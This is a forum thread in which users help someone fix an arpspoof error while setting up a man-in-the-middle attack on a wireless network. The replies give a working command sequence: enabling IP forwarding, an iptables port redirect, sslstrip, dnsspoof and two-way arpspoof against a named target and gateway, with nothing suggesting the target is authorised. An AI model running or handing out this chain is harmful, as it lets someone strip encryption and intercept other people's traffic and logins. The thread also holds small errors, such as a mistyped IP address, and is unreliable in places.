Problem with ARPSPOOF

[Imtryin]

Hello

I am trying to arpspoof with the following IP adresses.

192.168.1.5 being the router 102.168.1.101 being the target.

command

arpspoof -i wlan0 -t 192.168.1.101 192.168.1.5

error "cannot arpspoof"

Any other ip's it works fine, so is the problem that the target ip endss with .101 if it is how do i get round it, can i?

Help appreciated.

[halfdone]

you shoulp put your card to monitor mode,

Have you been following any guides, if not You may find HAK5.org episode 610 (man in the middle) interesting


What is your WLAN device?

[sickness]

I do not think it has something to do with the .101 at the end of the IP, are you sure that host is up ?

[Imtryin]

Hi

I am using alfa AWUS036H

Steps are
connect to AP using wicd connection manager (wlan0)
enable ip forward
port redirect to 10000
start arpspoof (same command as above)
start sslstrip (sslstrip -a)
Start ettercap to listen on wlan0

Everythings works fine if arpspoofing say target of 192.168.1.2 gateway 192.168.1.1

BUT if target is 192.168.1.101 and gateway 192.168.1.5 arpspoof errors.

[halfdone]

echo "1" > /proc/sys/net/ipv4/ip_forward

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

sslstrip -a -l 8080
New shell
dnsspoof
New shell
arpspoof -i wlan0 -t (target) (gateway)
New shell
arpspoof -i wlan0 -t (gateway) (target)

And if you want to make sure if that works you can use wireshark in that target machine, or in any computer in your network.